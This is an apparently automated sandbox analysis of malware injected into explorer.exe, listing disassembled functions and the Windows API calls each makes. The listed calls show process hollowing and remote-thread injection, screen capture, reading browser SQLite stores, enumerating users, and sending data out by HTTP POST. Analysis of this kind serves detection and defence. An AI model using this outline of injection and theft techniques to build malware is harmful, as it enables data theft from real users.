    Function 00E37E34, Relevance: 1.5, APIs: 1, Instructions: 30
    APIs
      • Part of subcall function 00E4CB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 00E4CC37
    • CreateMutexW.KERNEL32(00E62AFC,00000001,0269FF20), ref: 00E37E7C
      • Part of subcall function 00E4BD28: GetLastError.KERNEL32(7C802530,00E37E8B), ref: 00E4BD2B
      • Part of subcall function 00E4BD28: CloseHandle.KERNEL32 ref: 00E4BD39
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E37ED5, Relevance: 1.5, APIs: 1, Instructions: 23
    APIs
    • CreateMutexW.KERNEL32(00E62AFC,00000000,?), ref: 00E37EF6
      • Part of subcall function 00E4BC91: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00E4BC94
      • Part of subcall function 00E4BC91: CloseHandle.KERNEL32 ref: 00E4BCA6
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd

    Non-executed Functions

    Function 00E4B962, Relevance: 4.5, APIs: 3, Instructions: 27
    APIs
    • socket.WS2_32(?,00000002,00000011), ref: 00E4B96B
    • bind.WS2_32 ref: 00E4B98B
    • #3.WS2_32(?,?,?,?,?,00000002,00000011,?,00E439E8), ref: 00E4B996
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E47B9E, Relevance: 82.6, APIs: 27, Strings: 20, Instructions: 389
    APIs
    • LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00E47BD0
    • GetProcAddress.KERNEL32(?,GdiplusStartup), ref: 00E47BE1
    • GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00E47BEE
    • GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 00E47BFB
    • GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 00E47C08
    • GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 00E47C15
    • GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 00E47C22
    • GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 00E47C2F
    • LoadLibraryA.KERNEL32(ole32.dll), ref: 00E47C77
    • GetProcAddress.KERNEL32(?,CreateStreamOnHGlobal), ref: 00E47C82
    • LoadLibraryA.KERNEL32(gdi32.dll), ref: 00E47C94
    • GetProcAddress.KERNEL32(?,CreateDCW), ref: 00E47C9F
    • GetProcAddress.KERNEL32(00000001,CreateCompatibleDC), ref: 00E47CAB
    • GetProcAddress.KERNEL32(00000001,CreateCompatibleBitmap), ref: 00E47CB8
    • GetProcAddress.KERNEL32(00000001,GetDeviceCaps), ref: 00E47CC5
    • GetProcAddress.KERNEL32(00000001,SelectObject), ref: 00E47CD2
    • GetProcAddress.KERNEL32(00000001,BitBlt), ref: 00E47CDF
    • GetProcAddress.KERNEL32(00000001,DeleteObject), ref: 00E47CEC
    • GetProcAddress.KERNEL32(00000001,DeleteDC), ref: 00E47CF9
    • LoadImageW.USER32(00000000,00007F00,00000002,00000000,00000000,00008040), ref: 00E47D9D
    • GetIconInfo.USER32(?,?), ref: 00E47DB2
    • GetCursorPos.USER32(?), ref: 00E47DC0
    • DrawIcon.USER32(?,?,?,?), ref: 00E47E91
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • lstrcmpiW.KERNEL32(?,?), ref: 00E47F13
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    • FreeLibrary.KERNEL32(00000000), ref: 00E48030
    • FreeLibrary.KERNEL32(?), ref: 00E4803A
    • FreeLibrary.KERNEL32(00000001), ref: 00E48044
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E44383, Relevance: 52.8, APIs: 29, Strings: 1, Instructions: 308
    APIs
      • Part of subcall function 00E5B77C: GetClassNameW.USER32(?,?,00000101), ref: 00E5B797
    • GetWindowInfo.USER32(?,?), ref: 00E443EF
    • IntersectRect.USER32(?,?), ref: 00E44412
    • IntersectRect.USER32(?,?), ref: 00E44468
    • GetDC.USER32(00000000), ref: 00E444AC
    • CreateCompatibleDC.GDI32 ref: 00E444BD
    • ReleaseDC.USER32(00000000), ref: 00E444C7
    • SelectObject.GDI32(?,?), ref: 00E444DC
    • DeleteDC.GDI32 ref: 00E444EA
    • TlsSetValue.KERNEL32(?), ref: 00E44535
    • EqualRect.USER32(?,?), ref: 00E4454F
    • SaveDC.GDI32 ref: 00E4455A
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E44575
    • SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00E44595
    • DefWindowProcW.USER32(?,00000317,?,00000002), ref: 00E445A7
    • RestoreDC.GDI32(?,?), ref: 00E445BE
    • SaveDC.GDI32 ref: 00E445E0
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E445F6
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00E4460F
    • RestoreDC.GDI32(?,?), ref: 00E4461D
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E44630
    • SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00E44640
    • DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00E44652
    • TlsSetValue.KERNEL32(00000000), ref: 00E4466C
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E4468C
    • DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 00E446A8
    • SelectObject.GDI32(?,?), ref: 00E446BE
    • DeleteDC.GDI32 ref: 00E446C5
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E446ED
      • Part of subcall function 00E442A1: GdiFlush.GDI32 ref: 00E442F8
    • PrintWindow.USER32(00000008,?,00000000), ref: 00E44703
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5B7E3, Relevance: 25.7, APIs: 17, Instructions: 207
    APIs
    • TlsAlloc.KERNEL32(?,00E645C0,00000000), ref: 00E5B7FD
    • RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,00E645C0,00000000), ref: 00E5B824
    • CreateEventW.KERNEL32(00E62AFC,00000001,00000000,?), ref: 00E5B84B
    • CreateMutexW.KERNEL32(00E62AFC,00000000,?), ref: 00E5B86B
    • CreateFileMappingW.KERNEL32(00000000,00E62AFC,00000004,00000000,03D09128,?), ref: 00E5B893
    • MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 00E5B8A9
    • GetDC.USER32(00000000), ref: 00E5B8C6
    • GetDeviceCaps.GDI32(?,00000008), ref: 00E5B8E6
    • GetDeviceCaps.GDI32(00000000,0000000A), ref: 00E5B8F0
    • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00E5B8FD
      • Part of subcall function 00E4FA1C: GetDIBits.GDI32(00E645C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00E4FA54
      • Part of subcall function 00E4FA1C: GetDIBits.GDI32(00E645C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00E4FA6A
      • Part of subcall function 00E4FA1C: DeleteObject.GDI32(00000002), ref: 00E4FA77
      • Part of subcall function 00E4FA1C: CreateDIBSection.GDI32(00E645C0,?,00000000,00000000,00000000,00000000), ref: 00E4FAE7
      • Part of subcall function 00E4FA1C: DeleteObject.GDI32(00000002), ref: 00E4FB06
    • ReleaseDC.USER32(00000000,00000000), ref: 00E5B925
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    • CreateMutexW.KERNEL32(00E62AFC,00000000,?), ref: 00E5B9C9
    • GetDC.USER32(00000000), ref: 00E5B9DE
    • CreateCompatibleDC.GDI32 ref: 00E5B9EB
    • CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 00E5BA00
    • SelectObject.GDI32(?), ref: 00E5BA17
    • ReleaseDC.USER32(00000000), ref: 00E5BA2D
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E56DB7, Relevance: 25.6, APIs: 17, Instructions: 148
    APIs
    • OpenProcess.KERNEL32(?,00000000,?), ref: 00E56DE0
      • Part of subcall function 00E37F10: DuplicateHandle.KERNEL32(000000FF,00000000,?,00000000,00000000,00000000,00000002), ref: 00E37F40
      • Part of subcall function 00E37F10: VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00E3802C
    • CreateFileMappingW.KERNEL32(00000000,00000000,00000040,00000000,?,00000000), ref: 00E56E2B
    • MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,00000000), ref: 00E56E4E
    • NtSuspendProcess.NTDLL(?,?,00000006,00000000), ref: 00E56E60
    • ReadProcessMemory.KERNEL32(?,?,00000000,00000000,00000000), ref: 00E56E7C
    • NtUnmapViewOfSection.NTDLL(?,?,?,?), ref: 00E56EAE
    • NtMapViewOfSection.NTDLL(?,?,0269FF78,00000000), ref: 00E56ECC
    • FlushInstructionCache.KERNEL32(?,?,00000006), ref: 00E56EDA
    • NtResumeProcess.NTDLL(?,?,?,00000000), ref: 00E56EE5
    • Sleep.KERNEL32(00000064), ref: 00E56EF2
    • UnmapViewOfFile.KERNEL32(00000000), ref: 00E56EFB
    • CloseHandle.KERNEL32(?), ref: 00E56F04
    • CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000), ref: 00E56F1D
    • WaitForSingleObject.KERNEL32(?,00002710), ref: 00E56F2F
    • CloseHandle.KERNEL32 ref: 00E56F36
    • VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00E56F4F
    • CloseHandle.KERNEL32 ref: 00E56F56
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E39065, Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 137
    APIs
      • Part of subcall function 00E4D9C8: GetTempPathW.KERNEL32(000000F6,?), ref: 00E4D9DF
      • Part of subcall function 00E4A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 00E4A44F
      • Part of subcall function 00E4A3FB: Sleep.KERNEL32(?), ref: 00E4A462
      • Part of subcall function 00E4A3FB: InternetCloseHandle.WININET ref: 00E4A4E8
    • LoadLibraryW.KERNEL32(msvcrt.dll), ref: 00E39176
    • LoadLibraryW.KERNEL32(?), ref: 00E39184
    • GetProcAddress.KERNEL32(?,sqlite3_close), ref: 00E391AA
    • GetProcAddress.KERNEL32(?,sqlite3_exec), ref: 00E391B6
    • GetProcAddress.KERNEL32(?,sqlite3_free), ref: 00E391C2
    • GetProcAddress.KERNEL32(?,sqlite3_open16), ref: 00E391CE
      • Part of subcall function 00E38C09: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00E38C30
      • Part of subcall function 00E38C09: GetFileAttributesW.KERNEL32(?), ref: 00E38C84
      • Part of subcall function 00E38C09: GetPrivateProfileIntW.KERNEL32(?,?,000000FF,?), ref: 00E38CE7
      • Part of subcall function 00E38C09: GetPrivateProfileStringW.KERNEL32(?,00000000,00000000,?,00000104,?), ref: 00E38D15
    • FreeLibrary.KERNEL32(?), ref: 00E39230
    • FreeLibrary.KERNEL32(?), ref: 00E39236
      • Part of subcall function 00E4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00E4D95E
      • Part of subcall function 00E4D955: DeleteFileW.KERNEL32(?), ref: 00E4D968
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E524CC, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181
    APIs
      • Part of subcall function 00E4CF9B: InternetCrackUrlA.WININET(?,00000000,00000000,?), ref: 00E4CFC9
    • InternetOpenA.WININET(00000000,00000000,00000000,00000000,?), ref: 00E524FA
    • InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E52518
    • HttpOpenRequestA.WININET(?,POST,?,HTTP/1.1,?,00000000,?,00000000), ref: 00E52563
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000), ref: 00E525B8
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000), ref: 00E5262C
    • HttpSendRequestA.WININET(?,00000000,00000000,?,?), ref: 00E5264E
    • HttpQueryInfoA.WININET(?,20000013,?,?,00000000), ref: 00E52672
      • Part of subcall function 00E4A61A: InternetQueryOptionA.WININET(00000003,00000022,00000000), ref: 00E4A62E
      • Part of subcall function 00E4A61A: GetLastError.KERNEL32(?,?,?,00E5268F,?,?,20000013,?,?,00000000,?,00000000,00000000,?,?), ref: 00E4A638
      • Part of subcall function 00E4A61A: InternetQueryOptionA.WININET(00000003,00000022), ref: 00E4A658
    • InternetCloseHandle.WININET ref: 00E526B5
    • InternetCloseHandle.WININET(?), ref: 00E526BE
    • InternetCloseHandle.WININET(?), ref: 00E526C7
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5BEC4, Relevance: 22.6, APIs: 15, Instructions: 132
    APIs
    • GetMenu.USER32(?), ref: 00E5BEEE
    • GetMenuItemCount.USER32 ref: 00E5BF04
    • GetMenuState.USER32(?,00000000,00000400), ref: 00E5BF1C
    • HiliteMenuItem.USER32(?,?,00000000,00000400), ref: 00E5BF2C
    • MenuItemFromPoint.USER32(?,?,?,?), ref: 00E5BF52
    • GetMenuState.USER32(?,?,00000400), ref: 00E5BF66
    • EndMenu.USER32 ref: 00E5BF76
    • HiliteMenuItem.USER32(?,?,?,00000480), ref: 00E5BF86
    • GetSubMenu.USER32 ref: 00E5BFAA
    • GetMenuItemRect.USER32(?,?,?,?), ref: 00E5BFC4
    • TrackPopupMenuEx.USER32(?,00004000,?,?,?,00000000), ref: 00E5BFE5
    • GetMenuItemID.USER32 ref: 00E5BFFD
    • SendMessageW.USER32(?,00000111,?,00000000), ref: 00E5C016
      • Part of subcall function 00E44383: GetWindowInfo.USER32(?,?), ref: 00E443EF
      • Part of subcall function 00E44383: IntersectRect.USER32(?,?), ref: 00E44412
      • Part of subcall function 00E44383: IntersectRect.USER32(?,?), ref: 00E44468
      • Part of subcall function 00E44383: GetDC.USER32(00000000), ref: 00E444AC
      • Part of subcall function 00E44383: CreateCompatibleDC.GDI32 ref: 00E444BD
      • Part of subcall function 00E44383: ReleaseDC.USER32(00000000), ref: 00E444C7
      • Part of subcall function 00E44383: SelectObject.GDI32(?,?), ref: 00E444DC
      • Part of subcall function 00E44383: DeleteDC.GDI32 ref: 00E444EA
      • Part of subcall function 00E44383: TlsSetValue.KERNEL32(?), ref: 00E44535
      • Part of subcall function 00E44383: EqualRect.USER32(?,?), ref: 00E4454F
      • Part of subcall function 00E44383: SaveDC.GDI32 ref: 00E4455A
      • Part of subcall function 00E44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E44575
      • Part of subcall function 00E44383: SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00E44595
      • Part of subcall function 00E44383: DefWindowProcW.USER32(?,00000317,?,00000002), ref: 00E445A7
      • Part of subcall function 00E44383: RestoreDC.GDI32(?,?), ref: 00E445BE
      • Part of subcall function 00E44383: SaveDC.GDI32 ref: 00E445E0
      • Part of subcall function 00E44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E445F6
      • Part of subcall function 00E44383: SendMessageW.USER32(?,00000014,?,00000000), ref: 00E4460F
      • Part of subcall function 00E44383: RestoreDC.GDI32(?,?), ref: 00E4461D
      • Part of subcall function 00E44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E44630
      • Part of subcall function 00E44383: SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00E44640
      • Part of subcall function 00E44383: DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00E44652
      • Part of subcall function 00E44383: TlsSetValue.KERNEL32(00000000), ref: 00E4466C
      • Part of subcall function 00E44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E4468C
      • Part of subcall function 00E44383: DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 00E446A8
      • Part of subcall function 00E44383: SelectObject.GDI32(?,?), ref: 00E446BE
      • Part of subcall function 00E44383: DeleteDC.GDI32 ref: 00E446C5
      • Part of subcall function 00E44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E446ED
      • Part of subcall function 00E44383: PrintWindow.USER32(00000008,?,00000000), ref: 00E44703
    • SetKeyboardState.USER32 ref: 00E5C055
    • SetEvent.KERNEL32 ref: 00E5C061
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4C249, Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 52
    APIs
    • LoadLibraryA.KERNEL32(cabinet.dll), ref: 00E4C25D
    • GetProcAddress.KERNEL32(?,FCICreate), ref: 00E4C27D
    • GetProcAddress.KERNEL32(FCIAddFile), ref: 00E4C28F
    • GetProcAddress.KERNEL32(FCIFlushCabinet), ref: 00E4C2A1
    • GetProcAddress.KERNEL32(FCIDestroy), ref: 00E4C2B3
    • HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00E4C2DE
    • FreeLibrary.KERNEL32(FCICreate), ref: 00E4C2F3
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5A69D, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188
    APIs
    • LoadLibraryW.KERNEL32(?), ref: 00E5A6BE
    • GetProcAddress.KERNEL32(?,?), ref: 00E5A6DF
    • SHGetFolderPathW.SHELL32(00000000,00000007,000000FF,00000001,?), ref: 00E5A710
    • StrCmpNIW.SHLWAPI(?,?), ref: 00E5A733
    • FreeLibrary.KERNEL32 ref: 00E5A75A
    • NetUserEnum.NETAPI32(00000000,00000000,00000002,00000000,000000FF,00E3878D,?,?), ref: 00E5A790
    • NetUserGetInfo.NETAPI32(00000000,00000000,00000017,?), ref: 00E5A7C9
      • Part of subcall function 00E3ADB4: ConvertSidToStringSidW.ADVAPI32(?,?), ref: 00E3ADC8
      • Part of subcall function 00E3ADB4: PathUnquoteSpacesW.SHLWAPI(?), ref: 00E3AE31
      • Part of subcall function 00E3ADB4: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00E3AE42
      • Part of subcall function 00E3ADB4: LocalFree.KERNEL32(?), ref: 00E3AE5A
    • NetApiBufferFree.NETAPI32(?), ref: 00E5A862
      • Part of subcall function 00E4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00E4DEF5
      • Part of subcall function 00E4DC58: PathSkipRootW.SHLWAPI(?), ref: 00E4DC63
      • Part of subcall function 00E4DC58: GetFileAttributesW.KERNEL32(?), ref: 00E4DC8B
      • Part of subcall function 00E4DC58: CreateDirectoryW.KERNEL32(?,00000000), ref: 00E4DC99
      • Part of subcall function 00E59ED2: LoadLibraryW.KERNEL32(?), ref: 00E59EE9
      • Part of subcall function 00E59ED2: GetProcAddress.KERNEL32(?,?), ref: 00E59F15
      • Part of subcall function 00E59ED2: GetProcAddress.KERNEL32(?,00000006), ref: 00E59F2C
      • Part of subcall function 00E59ED2: GetProcAddress.KERNEL32(?,00000000), ref: 00E59F44
      • Part of subcall function 00E59ED2: WTSGetActiveConsoleSessionId.KERNEL32 ref: 00E59F61
      • Part of subcall function 00E59ED2: FreeLibrary.KERNEL32(?), ref: 00E59FCD
    • NetApiBufferFree.NETAPI32(00000000), ref: 00E5A875
    • SHGetFolderPathW.SHELL32(00000000,00008007,000000FF,00000001,?), ref: 00E5A899
      • Part of subcall function 00E4C9F6: PathAddExtensionW.SHLWAPI(00000006,00000000), ref: 00E4CA37
      • Part of subcall function 00E4C9F6: GetFileAttributesW.KERNEL32(00000006), ref: 00E4CA44
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5BA3D, Relevance: 18.1, APIs: 12, Instructions: 75
    APIs
    • DeleteObject.GDI32(00000000), ref: 00E5BA4D
    • CloseHandle.KERNEL32(00000000), ref: 00E5BA5D
    • TlsFree.KERNEL32 ref: 00E5BA68
    • CloseHandle.KERNEL32(00000000), ref: 00E5BA76
    • UnmapViewOfFile.KERNEL32(00000000), ref: 00E5BA80
    • CloseHandle.KERNEL32 ref: 00E5BA8D
    • SelectObject.GDI32(00000000,00000000), ref: 00E5BAA7
    • DeleteObject.GDI32(00000000), ref: 00E5BAB8
    • DeleteDC.GDI32(00000000), ref: 00E5BAC5
    • CloseHandle.KERNEL32(00000000), ref: 00E5BAD6
    • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00E5BAE5
    • PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00E5BC3C,00000000,00E645C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00E5BAFE
      • Part of subcall function 00E49EB0: CloseHandle.KERNEL32(00000000), ref: 00E49EC2
      • Part of subcall function 00E49EB0: CloseHandle.KERNEL32 ref: 00E49ECB
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4A17F, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 92
    APIs
    • HttpOpenRequestA.WININET(?,POST,00000001,HTTP/1.1,00000000,00E62530,8404F700,00000000), ref: 00E4A1CB
    • InternetQueryOptionA.WININET(?,0000001F,00000001,00000001), ref: 00E4A217
    • InternetSetOptionW.WININET(?,0000001F,00003100,00000004), ref: 00E4A22C
    • HttpSendRequestA.WININET(?,00E36FA8,00000013,?,00000003), ref: 00E4A243
    • HttpQueryInfoA.WININET(?,20000013,00000000,00000003,00000000), ref: 00E4A260
    • InternetCloseHandle.WININET ref: 00E4A278
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E49DBF, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 91
    APIs
    • LoadLibraryA.KERNEL32(userenv.dll), ref: 00E49DD0
    • GetProcAddress.KERNEL32(?,CreateEnvironmentBlock), ref: 00E49DEF
    • GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 00E49DFB
    • CreateProcessAsUserW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00E59EB5,00000000,?,?), ref: 00E49E70
    • CloseHandle.KERNEL32(?), ref: 00E49E83
    • CloseHandle.KERNEL32(?), ref: 00E49E88
    • FreeLibrary.KERNEL32(?), ref: 00E49E9F
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E44B5A, Relevance: 16.6, APIs: 11, Instructions: 119
    APIs
      • Part of subcall function 00E5B77C: GetClassNameW.USER32(?,?,00000101), ref: 00E5B797
    • GetWindowThreadProcessId.USER32(?,?), ref: 00E44B85
    • ResetEvent.KERNEL32(?), ref: 00E44BCD
    • PostMessageW.USER32(?,?), ref: 00E44BF7
    • WaitForSingleObject.KERNEL32(?,00000064), ref: 00E44C06
      • Part of subcall function 00E449F6: WaitForSingleObject.KERNEL32(?,00000000), ref: 00E44A0F
      • Part of subcall function 00E449F6: ResetEvent.KERNEL32(?), ref: 00E44A65
      • Part of subcall function 00E449F6: WaitForSingleObject.KERNEL32(?,000003E8), ref: 00E44AA0
      • Part of subcall function 00E449F6: TerminateProcess.KERNEL32(?,00000000), ref: 00E44AB1
    • ResetEvent.KERNEL32(?), ref: 00E44C31
    • PostThreadMessageW.USER32(?,?,000000FC,?), ref: 00E44C45
    • WaitForSingleObject.KERNEL32(?,000003E8), ref: 00E44C57
    • TerminateProcess.KERNEL32(?,00000000), ref: 00E44C7A
      • Part of subcall function 00E49EB0: CloseHandle.KERNEL32(00000000), ref: 00E49EC2
      • Part of subcall function 00E49EB0: CloseHandle.KERNEL32 ref: 00E49ECB
    • IntersectRect.USER32(?,?,?), ref: 00E44CA2
    • FillRect.USER32(?,?,00000006), ref: 00E44CB4
    • DrawEdge.USER32(?,?,0000000A,0000000F), ref: 00E44CC8
      • Part of subcall function 00E4CB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 00E4CC37
      • Part of subcall function 00E4BD45: OpenMutexW.KERNEL32(00100000,00000000,00000000), ref: 00E4BD50
      • Part of subcall function 00E4BD45: CloseHandle.KERNEL32 ref: 00E4BD5B
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5CCB0, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 274
    APIs
      • Part of subcall function 00E4CC75: WindowFromPoint.USER32(?,?), ref: 00E4CC91
      • Part of subcall function 00E4CC75: SendMessageTimeoutW.USER32(?,00000084,00000000,?,00000002,?,?), ref: 00E4CCC2
      • Part of subcall function 00E4CC75: GetWindowLongW.USER32(?,000000F0), ref: 00E4CCE6
      • Part of subcall function 00E4CC75: SetWindowLongW.USER32(?,000000F0), ref: 00E4CCF7
      • Part of subcall function 00E4CC75: GetWindowLongW.USER32(00000002,000000F0), ref: 00E4CD14
      • Part of subcall function 00E4CC75: SetWindowLongW.USER32(?,000000F0), ref: 00E4CD22
    • GetWindowLongW.USER32(?,000000F0), ref: 00E5CDBC
    • GetParent.USER32 ref: 00E5CDDE
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00E5CE03
    • IsWindow.USER32(?), ref: 00E5CE26
      • Part of subcall function 00E5C7B3: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00E5C7B9
      • Part of subcall function 00E5C7B3: ReleaseMutex.KERNEL32 ref: 00E5C7ED
      • Part of subcall function 00E5C7B3: IsWindow.USER32(?), ref: 00E5C7F4
      • Part of subcall function 00E5C7B3: PostMessageW.USER32(?,00000215,00000000,?), ref: 00E5C80E
      • Part of subcall function 00E5C7B3: SendMessageW.USER32(?,00000215,00000000,?), ref: 00E5C816
    • GetWindowInfo.USER32(?,?), ref: 00E5CE76
    • PostMessageW.USER32(?,0000020A,?,?,00000000,?,?,00000000), ref: 00E5CFB3
      • Part of subcall function 00E5CA22: GetAncestor.USER32(?,00000002), ref: 00E5CA4B
      • Part of subcall function 00E5CA22: SendMessageTimeoutW.USER32(?,00000021,?,?,00000002,00000064,?), ref: 00E5CA76
      • Part of subcall function 00E5CA22: PostMessageW.USER32(?,00000020,?), ref: 00E5CAB8
      • Part of subcall function 00E5CA22: GetWindowThreadProcessId.USER32(?,00000000), ref: 00E5CB4E
      • Part of subcall function 00E5CA22: PostMessageW.USER32(?,00000112,?,?), ref: 00E5CBA1
      • Part of subcall function 00E5CA22: GetWindowThreadProcessId.USER32(?,00000000), ref: 00E5CBE0
      • Part of subcall function 00E5B77C: GetClassNameW.USER32(?,?,00000101), ref: 00E5B797
      • Part of subcall function 00E5C822: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00E5C836
      • Part of subcall function 00E5C822: ReleaseMutex.KERNEL32 ref: 00E5C855
      • Part of subcall function 00E5C822: GetWindowRect.USER32(?,?), ref: 00E5C862
      • Part of subcall function 00E5C822: IsRectEmpty.USER32(?), ref: 00E5C8E6
      • Part of subcall function 00E5C822: GetWindowLongW.USER32(?,000000F0), ref: 00E5C8F5
      • Part of subcall function 00E5C822: GetParent.USER32(?), ref: 00E5C90B
      • Part of subcall function 00E5C822: MapWindowPoints.USER32(00000000), ref: 00E5C914
      • Part of subcall function 00E5C822: SetWindowPos.USER32(?,00000000,?,?,?,?,0000630C), ref: 00E5C938
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
